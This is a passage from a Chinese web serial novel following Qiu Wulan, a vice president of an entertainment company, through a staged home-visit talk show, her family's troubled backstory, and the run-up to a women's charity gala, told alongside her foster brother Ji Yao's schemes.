那张与她极其相似的脸上淡漠无情,他低头注视她,瞳孔却无法聚焦,微微向四周涣散。麻木的顿感贯穿少年全身。 “芜澜……”他呢喃着她的名字,语气很轻,像是试图表达爱意,最终的结果却是有气无力。 药瓶被拿走,服药用的半杯水还留在原地。 “你想见泽安泽然么?”邱芜澜从少年胸前抬眸,亮着眼眸询问,“他们还没睡,等着和你见面。” 她说完之后,邱承澜的眼珠动了动,过了会儿才像是听见她说了什么似的,回答道,“……不了。” 邱芜澜有些低落,可并不意外。 她知道邱承澜的自尊心有多强,绝不会想让两个年幼的弟弟看见自己服药后行尸走肉的模样。 只是这样一来,邱泽安邱泽然难免和大哥疏远。 他们和邱承澜相处的时间短之又短,何况邱承澜的病、他的气质都让人难以亲近,如今,两个弟弟对哥哥只余畏惧。 邱芜澜改换了话题,“哥哥不问问季尧吗?” “你做得很对。”少年修长的手扣在妹妹后脑上,“泽安泽然,确实太散漫了,需要点刺激。” 邱芜澜扬唇,埋于邱承澜怀中。 不论两个弟弟如何埋怨她、气恼她,邱芜澜都不曾动摇,因为她相信,哥哥会支持她的做法。 在邱承澜的默许下,季尧留了下来。 邱承澜并不在乎他,随后出现的邱岸山更不在乎他的存在。 等了整整四个月,庄园的主人终于出现。 年近半百的男人,却有着三十岁的英姿。 邱岸山回家那天,季葶四点钟便起来梳妆。 她激动地站在门口等候,男人下了直升机,径直朝大门走来,伸开了双臂。 “我的天使。” 季葶红着脸娇羞不已,下一刻,男人从她身边经过,抱住了邱芜澜。 他笑吟吟地亲吻她的额头,又蹲下来搂住两个男孩,问他们过得如何。 相比于哥哥,邱芜澜对父亲的态度倒是有些冷淡;而两个男孩则崇拜地腻在爸爸身边,争先恐后地说话。 等寒暄告一段落,邱芜澜向父亲介绍了季尧,邱岸山无甚所谓地点了点头,“我听说了,他似乎很聪明。” 说这话的时候,他顺势搂住了季葶的腰,“几天不见,我的宝贝儿愈发漂亮了,真高兴能在家里看见你。” 季葶牵强地笑了笑。 她难堪地低下头,对上了季尧的目光。 男孩一眨不眨地盯着她,澄净剔透的浅色瞳孔如实照应出季葶倚靠男人的模样。 片刻的对视后,季尧朝邱芜澜靠近了一步,那双漂亮的瞳孔投向了邱芜澜。 季尧因看不见季葶而莫名其妙头疼的怪病,这天之后彻底痊愈,哪怕终年不见季葶,身体也不会有任何不适。 他不再扒着季葶,随着时间的推移,季葶的视线却愈发黏在了儿子的身上。 她逐渐明白了自己在这座庄园里的地位;季葶抓不住邱岸山,手中能紧紧抓住的,只剩下日渐受宠的儿子。 邱芜澜对季尧一日胜过一日的重视,他从最初用来刺激两个弟弟上进的鲶鱼,变成了邱芜澜真正的弟弟、最优秀的弟弟。 慢慢的,连邱泽安都接受了季尧的新身份,他无力反驳,季尧的综合实力素质远在他和邱泽安之上。 进入邱家的第三年起,季尧所有科目的成绩便超过了他;更恐怖的是,季尧有着獬豸一般的敏锐直觉,不仅能够区分实话和谎言,甚至能在极短时间内做出相当精准的人物侧写。 邱芜澜对他的这份能力视若至宝。 十六岁后,她带着季尧频繁出入各个场合。 年轻的邱芜澜尚且欠缺商业嗅觉,而她面对的则是一群舌灿莲花、年龄倍数大于她的行业精英,每一个都是顶尖的诈骗高手,洞悉法律、善于用话术包装欺骗。 季尧不具备专业知识,却极其擅长捕捉微语言。 “告诉我阿尧,”城堡里的邱芜澜把他当做自己的魔镜,“谁在欺骗我,我应该选择谁?” “姐姐,我认为城南药业的老板没有说谎。” 邱芜澜转头,看向电视机。 「今日财经头条,由城南药业开发的抗癌药经过三轮谈判,已确定于下月加入基本医疗保险,这是国内首支进入医保的抗神经内分泌瘤的药物……」 “姐姐,制安私募的负责人很虚伪。” 「记者随瑚城公安局经侦支队来到制安私募瑚城总部办公区,可以看见,该办公区已被查封,附近聚集了一些制安私募的员工,采访得知,他们没有收到任何消息……」 “姐姐,我不太了解娱乐市场,临时翻看了近五年选秀走红的艺人。前天见的那名歌手,身上没有那些艺人的特质。” “姐姐,那个叫华君润的男人,和今年提名亚缇丝影帝的刘方毅很像。” …… “芜澜,我最近在想,你是不是和那个叫季尧的太过亲近了。” 邱芜澜翻看财报的动作一顿,回身望向沙发椅上的邱承澜。 高尔夫休息室的落地窗外铺满鲜艳的绿茵草地,明亮的鲜绿直晃晃地照入室内,另一侧是飞溯的假山瀑布。 回国后的邱承澜已不必回避这些明快的刺激因子,无需用厚重的窗帘隔绝自己。 即便他握着金属球杆,身旁也不再时时需要跟随保镖。 “哥哥,”邱芜澜转身面向他,将这一季度财报拢在手中,“季尧很聪明,他才十五岁,业务嗅觉就已经远超你我,最可贵的是,他的学习力非同凡响,任何领域都能短时间内上手。” “去年之前,他对娱乐圈一窍不通,连电视剧都没看过几部,仅仅是一周,通过大量翻阅国际获奖者的早期作品,就为我们挑选出了华君润。” “集团在不断扩张,不可避免会遇到没接触过的新业务,季尧是不可或缺的人才,我们需要他。” 她说着,见邱承澜定定地望着自己,不解其意地偏了偏头,“怎么了哥哥,我说错什么了吗?” “不,没什么,说得不错。”邱承澜擦拭着银色的球杆,“我只是庆幸,泽安泽然不在这里。” 邱芜澜迈步上前,轻声道,“哥哥,泽安泽然没必要活得那么辛苦。培养季尧,也是为了他们好。” “为了他们好……”邱承澜淡淡重复了她的话,“可你只在提到季尧时笑。” 邱芜澜一愣,抿了抿唇角。 她自己丝毫没有意识到。 邱承澜将擦拭好的球杆搁去一旁,他看着邱芜澜,黑眸前仿佛隔了一层薄冰,虚化了锐度,变得困顿模糊。 “芜澜,你很理智,为家族贡献良多。” “泽安泽然总是怕我,觉得我不近人情,但有的时候……连我都畏惧你的冷酷。” 邱芜澜微怔,“什么意思?” 邱承澜凝望她,“你对母亲,真的没有一点儿感情了么。” 第38章 第三十八章 “hello大家好, 欢迎来到这一期的《做客》。” 《去你家做客》是一档在嘉宾家里进行的访谈类节目,四名MC,两男两女, 一男一女固定主持人,另外两人则是用来抬升话题度的嘉宾, 每季一换。 节目打着“探访各个行业精英”的旗号,聚焦的大多是小有名气的博主和社会名流。 其中不乏白手起家的创业者, 也不乏穷奢极欲的富二代,节目组甚至进入过外国旁支公主的宫殿,早期偶尔会爆上热搜, 如今几乎没了声息。 本该收拾收拾关门大吉的时候, 天后季语薇突然加入了最新一季, 给节目回了点血, 可整体看来依旧不温不火。 这是季语薇目前唯一的非音乐类综艺, 而这一期, 则是她加入秋叶后录制的第一期《做客》。 本期的嘉宾, 是季语薇的新上司——秋叶娱乐副总裁,邱芜澜。 宋折凝元旦发文后,围绕秋叶娱乐的爆料层出不穷。 大众还留有记忆, 节目从放出预告开始就受到了不少关注, 今天的这期收视率更是达到了近两季以来的高峰。 女主持站在镜头举起右手, “这里,是今天嘉宾每天上班的地方。” 镜头拉远, 她举起左手, “这里,是她的房子。” 她说完绷不住笑了,“这也太近了吧!真的就是在公司隔壁买了个房子。” 男主持打断, “别人可能是在公司旁边买了个房子,但我觉得,我们今天的嘉宾,是在家旁边买了个公司。” 玩闹了一会儿,男主持把话题引到了季语薇身上,“今天的这位嘉宾呢,是小雨推荐的。听说你们两个人是青梅竹马,从初中就是同学?” “是的。”镜头前的季语薇一身藕色及膝裙,法式卷发慵懒地披在肩后,她微微提唇,带着点俏皮得意,“我的这位老同学不太喜欢陌生人进家门,为了节目,我可是求了她整整两天。” “辛苦你了,好长啊,‘整整两天’!” 季语薇嗌嗌地笑着,等他们打趣完,才解释道,“是真的整整两天,半夜我都埋在她耳朵边念——‘参加《做客》好不好’。” 三人哄笑着鼓掌。 只有极少数的人知道,这句话不是夸张,也不是玩笑。 开了个活泼的头,四名MC前往了嘉宾的住所。 位于瑚城二环的高档公寓,安保设施、小区环境都让人赏心悦目。 “不知道是不是看多了豪宅,我怎么觉得有点普通呢……”女主持走在前面,男主持接话道,“其实不是房子普通,是这里的房子和我们嘉宾身份匹配之后,显得普通了。” “对!我看到嘉宾的名字后,以为会是什么特别私密高级的豪宅,起码也得是个别墅。” “别墅区远,有钱人也讨厌通勤啊。” 他们边走边聊,乘着电梯上行。 一梯一户的设计,电梯出来直对唯一的大门。 “你好。” 女主持上前,按下了门上的电子铃。 少许,房门打开,露出了这期《家访》嘉宾的真容。 穿着米灰针织衫的女人,扎着松散的侧马尾,发尾打着优雅的卷。 见到门外一行人,她笑着打了声招呼,“你们好。” “您好您好。”女主持热切地伸出双手,“邱总,久仰大名,我是《做客》的主持人,山山。” “你好。”邱芜澜侧身让出进门的位置,“进来吧。” 摄影师先一步入内,广角镜头扫了一遍全景。 后面的主持人在寒暄之后,和邱芜澜进入了闲聊式的访谈。 “这边是有多大呢?” “套内一百七。”邱芜澜领着几人缓步在摄像后,“六室两卫。” “现在的市场价大概多少?” “听说是十万多,我差不多是九年前买的,那时候五万一平。” “九年前,那时候您还在读书吧?”主持人在客厅停下。 “是,还在上大学。我高中毕业后逐步接手了一些工作,有时候下班晚,学校宿舍锁门了,总得有个可以去的地方。” “您高中毕业就开始工作了?” 邱芜澜道,“开始跟着学了,主要就是在会议室倒倒水、做做记录,给领导当下司机和翻译。” “天呐,”几名MC惊讶道,“完全不能想象咱们邱总以前干的是这些活儿。那现在秋叶娱乐的那些领导,对上您时岂不是很尴尬。” “尴尬的是我。”邱芜澜笑道,“从‘小邱’变成了‘邱总’,对方资历又高。有时候跟他们出去见客户,我都还习惯站在旁边。 “记得有一次去外地谈一个大项目,我紧张得一宿没睡,第二天脑袋懵懵的,对客户张嘴就是:‘您好,我是陈总的助理,叫我小邱就行’。” 女主持听得乐不可支,季语薇笑吟吟地望着邱芜澜,在邱芜澜看过来时,短暂对视了几秒。 营销,还是营销。 邱芜澜所有的出境,全部都是半真半假的营销。 她的确有两年的基层轮岗经历,这是真事; 后半部分则是虚构。 季语薇认识的邱芜澜就算三天不睡觉,也不可能跟在别人屁股后面,忘了自己是谁。 她的矜骄流淌在血液里,怎么会让人僭越。 男主持笑了之后又道,“但我想一下那个场景,一个年纪和自己女儿差不多大的女孩儿,迅速成为自己的上级,这个过程中会不会有什么……”他欲言又止,措着辞道,“比如说,你是依靠家里之类的。” 邱芜澜颔首,“对,会有,这也是实话,我确实依靠了家里。秋叶娱乐是我哥哥创立的,公司一些股东,也是看着我长大的。” “那听到这些话,您是怎么想的呢,”主持人问,“会觉得委屈吗,好像自己再怎么努力都被掩盖在‘邱岸山的女儿’‘邱承澜的妹妹’的光环下。” 邱芜澜沉吟道,“上学那会儿有,现在——”她抬眸问向主持人,“进门时怎么说的?‘邱总,久仰大名’,我也想知道你们仰慕的是我哪一个名字,‘邱岸山的女儿’还是‘秋叶娱乐的副总’。” 几人发出赞叹,“那必然是‘秋叶娱乐的副总’。” “谢谢。”邱芜澜道,“可见这些年我动摇了点光环。我父亲也不是生来就是‘邱岸山’,他也曾是‘某某某的孩子’。我未必能做到他那么成功,尽力而为吧。” 几人感慨地鼓掌,“说得好。” 他们一边聊一边参观了所有房间,在阳台深绿的吊篮瀑布中,发现了一团淡紫罗兰的毛绒球。 “啊~”主持恍然大悟,“这就是那个被开除的鹦鹉!” “对。”邱芜澜笑着点头。 “它真的会念新闻联播吗?能不能给我们念一段?” “可以。”邱芜澜在虎皮鹦鹉面前挥了挥手,“来让哥哥姐姐们听一下,你是怎么被开除的。” 淡紫色的小鹦鹉倏地挺起了胸脯,一阵粗噶、诡异的节奏从它喉中发出。 几人愣了下,旋即大笑出声。 “是那个前奏吗?”“确实很像!太绝了!”“您到底听了多久的新闻联播啊!” 他们留在阳台逗弄了一会儿这只上过热搜的鹦鹉,很快转向了其他房间。 走到厨房时,女主持惊讶道,“厨房好大,烤箱、步入式冰箱、水浴锅……一个两个三个——好多锅!” 她上前摸了下灶台,扭身问邱芜澜,“邱总,您还自己下厨吗?” “我妈妈厨艺很好,把我嘴巴养得很挑剔。”邱芜澜站在门口道,“我不太习惯外面的食物,只要有空,就自己做饭。” “您会自己做饭!”女主持看向季语薇,“小雨会做饭吗?” 季语薇点着唇思索着措辞,不等她开口,邱芜澜便道,“她会拌草。” 季语薇噗嗤笑了出声,“是的,我很擅长做沙拉。” 当主镜头移开,进去拍摄厨房细节时,季语薇走到邱芜澜身边,娇嗔地推了下她,压低了声音抱怨,“我还想说自己会做点家常菜的,你干嘛呀。” 邱芜澜掩着唇,轻声对她道,“算了吧,以后在其他综艺上暴露了,还得花钱给你公关。” 季语薇不满,“你不相信我。” “是的。” 主镜头回来,两人立刻分开站好。 收音话筒就夹在衣领,季语薇瞥了眼自己的随身PD,确认对方的镜头始终对准自己,把刚才那一段完整地收录了。 “真是一应俱全。”参观完厨房的主持人们惊叹着,“邱总,您平常几个菜啊。” “不一定,看时间。”邱芜澜了然,“想在我家吃饭?” “可以吗!” “可以啊,”她泰然应允,“你们买菜。” “好诶,是总裁做的饭!” 走了一圈,看过所有房间后,几人在露台坐下。 “这边采光很好诶。”女主持夸奖了几声房子,问起了自己最关心的问题,“邱总,我们来的时候对您的住宅给予了很高的期待,想问一下,为什么您选择住在了楼房里,有钱人不应该都住别墅吗。” “对我来说,时间很宝贵。”邱芜澜给几人倒了花茶,“我也不喜欢通勤呀。” “哇好香谢谢。” “刚才我们逛了一圈,六个房间,主卧、次卧、书房、衣帽间、健身房,还有一个房间有点空,是储物间吗?” “我是把它当做储物间的,后续应该会是婴儿房。” “哦~”几人意会地笑了起来,“邱总有结婚对象了吗?” “还没有,”邱芜澜道,“这个房子只是为了通勤方便,我一个人住其实是用不了那么大的,不过家里人觉得…索性一步到位。” 她的神色有些淡,女主持敏感地觉察出了些什么,“您后期会想要回归家庭吗?” “我不知道。”邱芜澜摇头,“我爸没怎么特意说过这件事,倒是身边很多长辈会担心。毕竟到了这个年纪,我们家又一个都没有结婚的,他们觉得男人晚点没关系,可女人生孩子太晚,对孩子对身体都不好。也是一种善意的关心。” “那您自己是怎么想的呢?” “我会有一点恐惧,对一个生命负责一辈子的感觉太沉重了。我做不到放弃手中的事业,也不忍心我的孩子每天只能和妈妈见面一两个小时,甚至要依靠手机见面,那太残忍了。” 邱芜澜轻叹,“但随着年龄增长,会有越来越多这方面的关心;每天回来,看见那个小房间,心里也会有点压抑。” “所以你把那扇门一直关着。” “是的,算是一种逃避。” “小雨是怎么想的呢,”主持人看向季语薇,“你和邱总同龄,会有这方面的压力吗?” “我很感谢我的父母,他们很开明,从来不会要求我什么年纪必须结婚、必须生孩子。”季语薇道,“我对婚姻比较随缘,可能哪天遇到对的人、对的时机了,就会进入下一阶段;要是遇不到,那维持现状也很好,我不觉得我现在的生活有什么缺失。” 季语薇说这话的时候,镜头转向了邱芜澜,捕捉到她脸上不经意流露的羡慕和失落。 谈话告一段落,按照先前的承诺,几人下楼去买食材,等着邱芜澜一展厨艺。 买菜小队两两分组,女主持和季语薇一道,在路上聊起了邱芜澜的访谈。 “我没有想到,像她那样的女性也会有催婚催生的压力。”女主持感叹,“在外人眼里,她算是含着金汤匙出生,大学期间就创业成功,人生才刚起步就什么都有了,最后还是会被要求回归家庭。” 季语薇低声道,“芜澜妈妈很早就离开了,她爸爸很疼几个孩子,对他们的婚姻没什么要求,但芜澜平时接触的都是年纪比她要大的人,他们多少还是会有一种‘女人最好应该教父相子’的想法。” 她帮邱芜澜再度强调——催促邱芜澜的是别人,和秋叶集团董事长邱岸山无关。 “就算家里没有压力,社会上的压力也还是很大。”女主持低落道,“刚才她说那个储物室的时候,我都觉得好难受好窒息,每天从职场回到家,一开门就是一间婴儿房。” 季语薇拍了拍她的背,无声地安慰。 她想起自己第一次来这个小区的情景。 “你也不常住,买这么大做什么。”她意有所指地玩笑道,“三室两厅,还是学区房,准备在这儿结婚生子了?” 刚刚二十岁的邱芜澜若有所思着,旋即对季语薇伸手。 “嗯?”季语薇朝她走去。 她抚过她的刘海,欣悦不已:“很好。” 第二天,邱芜澜卖掉了刚买的新房,换成了同小区的另一套,一套更大的房子,整整六室。 季语薇不解,“你就偶尔在这儿睡一下,哪里用得到这么多房间。” “用得到。”邱芜澜笃定,“我会用到的。” 十年前,在那个尚未出现“996”流行语的年代,邱芜澜已然洞察了未来的舆论趋势、想好了十年后的自己该向大众展现什么样的形象。 “如果你想要结婚,现在是收益最大的时候。”两年前,她曾试探过季语薇,“没有男人能拒绝你。” “我知道。”季语薇呢喃,白皙的双臂勾上邱芜澜的脖颈,“可惜,我先遇到了你。” 她轻蹭着邱芜澜的鼻尖,“你呢,你会结婚么,那么多人都想要和你、和邱家联姻。” “邱家不需要联姻。”邱芜澜说,“婚姻,只会稀释我们的财富。” 季语薇吃吃地笑了出声。 她贴近了邱芜澜,偏头吻上她的唇角,柔声轻语:“看,这就是我离不开你的原因。” 她用过了顶级,无论如何都无法再屈就凡品。 余光扫过沉浸在女性共情之中的女主持,季语薇专注起挑选食材。 邱芜澜没有对她深聊过邱家的事情;她只是模糊地知道大概。 这个庞大家族的光鲜亮丽表外下,是暗不见底的扭曲。 为了稳固家族、防止出险分崩离析的局面,早期家主定下了“血统论”的价值观。 邱家人对血统有着超乎常人的执着,封建时代早已结束,他们却依旧沉溺在血统的教条里。 近亲联姻,不可避免地产生了各种畸病,最近几十年,邱家人终于接受了近亲繁殖有害的论调。 他们不再有生理上的残疾儿,但扭曲的家族思想、遗留下来的病态基因,令主支的孩子们遗传到了父母精神上的残疾。 精神疾病,同样具有遗传性。 在外界因素的刺激下,这一代的长子长女病情更重些。 家庭环境让邱芜澜和邱承澜成为了血统论的奉行者,然而另一方面,他们所接触的知识,又让他们意识到这是错误的、是病态的。 为将自己的疾病终结,也为了不稀释家族的财富权利,兄妹俩默契地断了生子打算,这一代的邱家,将结婚生子的任务落在了两个较为健康的弟弟身上。 “或许有一天我会结婚,会有自己的孩子。”邱承澜曾对邱芜澜坦言,“但是芜澜,你最好不要动这份念头。女企业家代孕,会是一件棘手的丑闻。” “难道我不能自己生么?”邱芜澜问。 邱承澜冷厉地盯着她。 片刻,邱芜澜笑道,“只是个玩笑。” “拿身体开玩笑并不好笑。”邱承澜严肃重申,“再先进的医疗都无法挽回妊娠伤害。你喜欢孩子,可以过继泽安泽然的后代。” “芜澜,你很重要。作为哥哥,我不想比较;但作为集团董事,比起泽安泽然,家族和公司更需要你在。” 季语薇知道的不多,可也断定邱芜澜不会结婚。 邱芜澜的身份牵涉到太多东西,婚姻意味绑定、意味着风险,她是个清醒到冷血的投资专家,绝不会触碰这种高风险、零回报的项目。 四名MC买好了食材,回到邱芜澜家中。 正如邱芜澜自己所说,她十分擅长做饭。 腌制、预热、备菜……一切都有条不紊地进行着,时间串联得严丝合缝,没有丁点浪费。 邱芜澜做饭的时候,季语薇就在客厅茶几柜里扒拉零食,帮其他几个人拿饮料、找纸巾,替她招待另外三名MC。 她对这个家里的一切都了如指掌,俨然是另一位房主人。 三菜一汤端上桌时,几人爆发出低呼。 “这也太好吃了,难怪你说你吃不惯外面的饭菜!” “听说邱总从来不去员工食堂,现在知道原因了,人家都自己带饭。” 邱芜澜笑着道了声谢谢,自己却没怎么动筷,捧着碗汤时不时喝一口。 这餐饭吃完,节目的录制也结束。 一周后,新一期的《做客》开播。 当晚,云书便挂上了热搜,这份热度持续了近一周,陆续有新的热搜出现。 #季语薇邱芜澜# #磕到了# #三十岁女性困境# “把营销和人资叫过来,开一场短会。”邱芜澜放下手机,“让官媒发布一封感谢信。” 简低头记录邱芜澜说的话。 “感谢这段时间民众对我和语薇的关心鼓励,中年女性在职场上的压力,我们深有体会。秋叶娱乐现发布社招,欢迎三十岁以上的女性加入我们。” 人力总监听完,“虽然是向上的限定,但也会涉及年龄、性别歧视的风险。” 邱芜澜颔首,“润色一下。下班前再给一个针对三十岁女性的慈善公益,让季语薇承接。两条消息一起发布。” “明白。” 第39章 第三十九章 最新一期的《家访》热度, 扣除秋叶运作的部分外,剩下一半由季语薇粉丝贡献;另一半,则由宋折凝粉丝。 “好甜啊, 磕晕了我的天奶,谁懂这种青梅竹马从小长大的默契感。难怪小雨宁愿赔解约费也要去秋叶。” “还以为季语薇签约秋叶是出于利益考量, 看了这期里面的小互动,我信娱乐圈女人也有友谊了。” “签约后第一场综艺, 秋叶副总裁就亲身上场,事业粉感到了屯粮般的安心。” “第一次听说邱芜澜,不得不说女老板就是更能体谅女下属, 希望国内多一点这样的女企业家。” “她之前的访谈上, 还为女助理特地学习了养猫知识, 说得都很专业, 是真的下了功夫的。” “有人说秋叶是在作秀, 那又怎么样, 比起什么拍摄天价水果、天价餐厅, 我更愿意这样的作秀多一点。” 邱芜澜不会浪费任何机会,她答应了季语薇参加她的节目,就会谋取利益最大化。 占用她休息的四个小时, 不仅要为她新签约的季语薇造势, 也要让公司获利。 感谢信一经发出, 立刻为秋叶娱乐竖立起“关爱女性”“大格局”的旗帜。 这一边秋叶和季语薇获得双赢,自开年便热度不断;另一边, 离开秋叶、进入华映的宋折凝则几乎销声匿迹。 碍于竞业协议, 她没有再参加任何活动。 宋折凝的团队将其中的原因剖析给观众,直言未来一年宋折凝会专注导演事业。 粉丝们狂欢了一阵,从演员转变为导演, 这显然是一种升级。 但热度过去,眼看着季语薇不断出现在镜头前、手里的代言越来越大牌,宋折凝粉丝们难免有些不是滋味。 这种情绪下,当不太理智的季语薇粉发布了一些含沙射影的嘲笑后,立刻引发了一场骂战。 “请某人认清自己地位,折凝拿歌后的时候,你们家还在儿童剧场唱一闪一闪亮晶晶呢。” “是哦~我们家小雨年纪小~不像某人年近半百了还这么闹腾。一大把年纪了还背刺东家,真是瞎折腾。” “管好自己吧,拍个古偶炒作几轮了?就季语薇那个演技,比刚做好的脸还要僵硬。” “大妈粉嫉妒就直说,一年的竞业期,回来谁还记得你。” “笑死,秋叶拼命给季语薇凹女权人设,她那边救助30+女性,粉丝在这边管四十几岁的女性叫大妈。我要是邱芜澜,我都要被她们蠢哭了。” “有一说一,邱芜澜换男友比换衣服还勤,说她有催生压力,未免太搞笑了。” “集短闭嘴吧。我很能理解她,我家里也催婚,他们越是逼我我就越是玩,这不代表心里没有压力好吗?” 碰撞不止停留在网上,两周后的秋叶娱乐组织的女性慈善捐助晚会上,三位当事人更是直接碰面。 “宋折凝确定出席了。” 简来汇报这件事的时候,邱芜澜嗯了一声,表示知道了。 她不甚在意的态度让简咽下了嘴边的安慰,转而询问,“今天的晚会,需要我去接韩尘霄么。” 邱芜澜看了眼手机,没有任何消息。 “他和我说,要去参加一个导演的生日会。” 简愣了下,“他还没有回来?” 她此前和韩尘霄打了招呼,告诉了他慈善晚会的时间、地点以及邱芜澜的穿搭。都这个时间了,韩尘霄居然还没有回公司。 “我马上给他打电话。” 简放下手中取来的礼服,拨通了韩尘霄的号码。 一长串的等待之后,播出了“您所拨打的号码正忙”的提示音。 接连打了三次,全部无人接听。 简倒吸一口凉气,看了眼时间,对邱芜澜说,“需要换成乔尹或者华君润么?” 邱芜澜捧着磨砂玻璃杯,杯中是粉紫交融的花茶。 “算了,”她呵出一团花香馥郁的雾气,“换阿尧。” 她本想再多给韩尘霄一点时间,既然他自己制造出了这样的状况,那就提前进入下一个阶段。 这比预计的提早了一点,可也差不多该让他清醒了。 简无奈应下,同时交代唐知行继续联系韩尘霄,让他马上过来。 晚会于七点钟正式开幕,算上换衣服和路上的时间,只要在三点前联系上韩尘霄,他就还来得及赶上。 唐知行快急疯了。 两点半,RNI休息室内,季尧关了电脑,准备上楼。 唐知行拉住他,“季尧,你能帮我给莫导打个电话,问一下他看见尘霄了么。” 季尧讶然,“还没有联系过他们?” “联系了……但我只有莫导助理的联系方式,”唐知行面露赧色,“他说没有看见。” 莫导生日,助理给唐知行发了两份邀请函。 一份给邱芜澜的弟弟季尧,一份给邱芜澜的新宠韩尘霄。 对于RNI这个组合、唐知行这个经纪人,他们并不屑于交往。 季尧拿出手机,当着唐知行的面拨通莫导。 “韩尘霄?哦,你姐的新男友是吧?” “后半场他不在我这边,跟几个小辈在一块儿。” “我想想啊……好像是有梁勤文吧。” “好,谢谢您了。” “谢什么,你都不来我的局,还好意思谢谢我。” “下次,下次一定~”季尧挂断电话,看向唐知行。 唐知行死死拧眉,“梁勤文私德可不怎么样。” 季尧扑哧笑道,“男歌手有几个私德好呢。尘霄哥在国外什么没见过,是你让他多去社交的。” 唐知行揉了揉眉心,“他要是在国外混得下去,怎么会回来。这都快三点了,就算醉宿也该醒了。” 他烦躁地啧了一声,拉着季尧又给韩尘霄打了两次,最后一声忙音结束,季尧抬腕,看了眼智能表。 “姐姐叫我上去了。” “你去吧。”唐知行无法,“我再联系下他。这莫导也是,好好的生日会,怎么突然推迟了,正和邱总行程撞上。” 莫导周一的生日,因临时出差,往后延了三天。 唐知行抱着没有回应的手机,随口埋怨了两句,季尧走出休息室,路过艺人休息厅时,顺道接了杯水,润了润嗓。 角落的休闲沙发上,坐着翻阅新一刊杂志的华君润。 他似乎在等待着什么,扶手旁的小几上搁着手机,屏幕亮着,久久未熄。 察觉到季尧的目光,华君润抬头,和他遥遥相望。 季尧弯眸,冲华君润无声勾唇,旋即转过身,带着那半杯水进入电梯,朝着26楼升去。 韩尘霄没有回来,晚会在即,华君润的手机屏幕上依旧没有任何通知消息。 他合上杂志,看见季尧的电梯停在26层,轻叹一声。 罢了,有血缘的弟弟总比其他男人好。 轻点着杂志封面,他半敛眼睑思索。 只是,这个小家伙心思太深,让他有些看不透彻。 三点差十分,季尧准时出现在了邱芜澜办公室。 “要不再等等?”简不甘心去站在自家小姐身边的人是季尧,“要等到五点半么?” “不,”邱芜澜浏览着影视城建设进度,“这个时候带韩尘霄也不太合适。让阿尧换衣服。” 季尧接过简递来的衣服,进休息室换装前,顿足迟疑道,“我看见君润哥在下面坐着看杂志,他好像有空。” 邱芜澜抬眸,看了他一眼,继而将目光移到简身上。 简微微皱眉,对着邱芜澜低头致意。 她会去查查看,为什么向来守时的韩尘霄突然爽约,而行程紧张的华君润又这么巧地空出了这段时间。 “换你的。”邱芜澜对季尧道,“看看合不合身。” 季尧乖巧应道,“好。” 他反手关门,微笑着取出塑封袋里的西装。 韩尘霄太蠢,也只能靠他帮一把了。 六点整,邱芜澜准时朝着会场出发。 季尧跟着她身侧,按下电梯键时,门正好打开,露出了唐知行焦急的脸。 “邱总。”正面遇上邱芜澜,他愣了下,随即马上道,“联系上尘霄了,他现在正往会场赶!” 邱芜澜迈入轿厢,“别急,让他慢点儿,注意安全。” 她没有过问韩尘霄为什么迟到,反而是季尧关心了一句,“尘霄哥出了什么事,他可从来没有迟到过,怎么会在姐姐的晚会前玩失踪呢。” “他、他有点事……”唐知行跟着进去,支吾着转移话题,“我已经说过他了。他说他就快到了,七点肯定能够赶上。” “没关系,”邱芜澜轻语,“他不用来了,回去休息吧。” 唐知行语塞,眼睁睁看着一身晚礼服的邱芜澜走出电梯,坐进车里。 简恨铁不成钢地瞪了唐知行一眼,却没有帮韩尘霄求情。 这次就算了。今天这个场合、这个时间点,邱芜澜确实不适合带男朋友出席。 车子停在了酒店地下车库,穿过一众记者,简和两名安护着邱芜澜跟季尧进入内场。 眼见邱芜澜就要离开,一名记者踮脚伸长了话筒,高叫道,“邱总!邱总!听说今晚宋折凝也会来,您对此有什么想法吗!请回答一下邱总!” 邱芜澜回眸,帝青色的晚礼服下摆轻漾。 她冲提问的记者颔首致意,“我很高兴她愿意来。即便不是同事、不是朋友了,可她还记得我们同为女性。” 说罢,她迈步向前,自拐角离开。 这段话立刻被记者们争先恐后地发布上网。 关于秋叶娱乐#大格局#的话题又一次登上热搜。 邱芜澜是来得最晚的一批。 她在登记处留照后进入主会场,随着她的入内,三三两两站着聊天的人们纷纷将目光投来。 几名靠近门口的从业者围了上来,笑着同邱芜澜打招呼,“邱总。” 邱芜澜拿了支入口的香槟,以举酒代替回应。 秋叶娱乐提前半个月发出消息,要求旗下女艺人全部到场。 这场慈善轰轰烈烈,除了秋叶的艺人外,也来了不少业内人士,占满了酒店最大的宴会厅。 邱芜澜被问了一圈好,最后走到自家的一个女ASHS身边,随口问了句,“语薇呢。” “刚刚才见到,去卫生间了吧。”杨芸笑着打量邱芜澜的礼服,“好大气的颜色,真适合你。” “我倒是想尝试可爱点的颜色,简又不同意。”邱芜澜回赞对方的橘黄礼裙,“宋折凝已经来了么。” “来了。”杨芸掩唇,意味深长,“一身高定,贵得吓人。” 邱芜澜了然,对着简伸手。 简从包里取出备用首饰盒,在邱芜澜手下打开。 璀璨逼人的珠宝钻石被水晶灯照得华丽不可逼视。 邱芜澜端凝了一会儿杨芸身上的礼服,挑出一对超两克拉的红绿柱石,换下了对方耳朵上的粉钻。 杨芸愣了,她并不精通珠宝,但从邱芜澜的备用首饰盒里拿出来的,价格定然不菲。 “好了。”替她戴上新的耳坠,又理顺侧畔的垂发,邱芜澜倾身在她耳边低语,“一会儿她来了,换你过去吓她。” “呜老板……”杨芸摸着耳朵上的新饰,“我一定吓死她!” 邀请邱芜澜说话的人络绎不绝,她很快离开,辗转各个中心。 简在她耳边小声提醒:“杨芸团队业绩一路下滑,她在ASHS垫底了两年,您出手太大方了。” 宋折凝出事后,关于修改ASHS合约条款的风声就一直在公司内流传,ASHS们都不乐意。 可要安抚人心,也该挑业绩高的那几个才有影响力,杨芸都快滑到二线了,根本配不上那对红绿柱石。 “她配不上,”邱芜澜不以为然,“前几名又觉得任何首饰都配不上他们。锦上添花的事,才是真正的赔本。” 简哑然。 她回头看了眼身后,隔着人群,身着橘黄大裙摆的杨芸还在摩挲耳上的宝石,受宠若惊的回味着。 简愈发叹服邱芜澜的洞若观火,对人心的把控一针见血。 季尧看见的画面却和简截然不同。 他当然看见了一个被领导打了鸡血的女员工,也更看见了一个被邱芜澜安抚的中年女人。 明亮的橘黄色、工艺繁复的大裙摆、浓艳的妆容,无一不在诉说着压力。 在慈善晚会上如此浮夸用力,说明杨芸可以出现的大镜头已经不多,所以才不肯放过任何吸睛的机会。 